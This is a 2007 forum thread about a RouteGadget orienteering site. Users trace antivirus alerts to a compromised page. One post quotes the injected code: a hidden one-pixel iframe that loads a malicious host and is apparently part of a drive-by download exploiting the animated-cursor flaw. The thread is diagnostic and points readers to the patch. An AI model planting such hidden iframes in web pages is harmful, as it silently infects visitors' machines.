some goit has drawn my route and done it completely wrong.... how do i delete a route that has already been entered?

by **distracted** » Wed Apr 11, 2007 10:56 am

think you have to contact the site admin to delete it, can't do it yourself...

It's OK, I've done it already. Any Nails route you see now should be the real thing!

WARNING - Virus Alert

I just logged onto the JK2007 routegadget site and my Symantec Software spotted a virus - didn't get which one but beware folks...

I can't see how you got a virus alert. I run Symantec and I get nothing.
Are you sure it's not a firewall alert, as the Java applet that RG uses can trigger those.

Sometimes these software firewalls/security suites are more trouble than their worth. Check your configuration.

If you or anyone else can give me details of the virus alert I will investigate, but no one else has ever commented about it.

I got somthing as well, using Sophos anti-virus stuff at work. I don't know the state of play, I was told to unplug myself from the network and go and find the IT people... None in the building so I will have to see tommorow when I get in.

I will let you know what happens tomorrow morning...

It's a Mal Virus as a temporary internet file. Using Sophos at work I have deleted it from quarentine. It's not from the route gadget site though its from the JK website at this address:

I am still getting a virus warning connecting directly to the routgadget site, not going via the JK site.

Looking at the html source of routegadget.co.uk (checked jk2007 and main site), it looks like it's all been hacked:

Code: Select all: <head> <iframe src='http://traf.paycash.cc/traf/?trash' width='1' height='1' frameborder='0'></iframe> <head>

that'll be what's triggering the virus warnings. whether it's a virus or a web-bug is hard to tell - the aim seems to be to load a bit of javascript from shojacash.ws/load, but no idea what that script's trying to do.

Update:

it looks like it's a drive-by download attempt exploiting problems with Microsoft's animated cursors, as was recently found on the Asus webpages.

Reports of the problems:

http://www.theregister.co.uk/2007/04/06 ... e_viruses/
http://glengamoi.com/forums/permalink/1 ... hread.aspx (in German)

Microsoft emergency patch for this problem released on 3rd April (if your machine does automatic Windows updates then you'll have got this already):
http://www.microsoft.com/technet/securi ... 7-017.mspx

Anyone running Internet Explorer who hasn't done a Windows Update since last Tuesday (when Microsoft released a patch for this exploit) may well have just got a nasty infection: I'd recommend a serious batch of virus-scanning, spyware-scanning and not using Internet Explorer (or Windows, if you can get away with it!)

I just sent an e-mail, to Paul, with a similar comment to Ed's. The iframe Ed highlights in turn calls another one. This second iframe calls a javascript function.

Similar code appears on quite a few *.routegadget.co.uk pages.
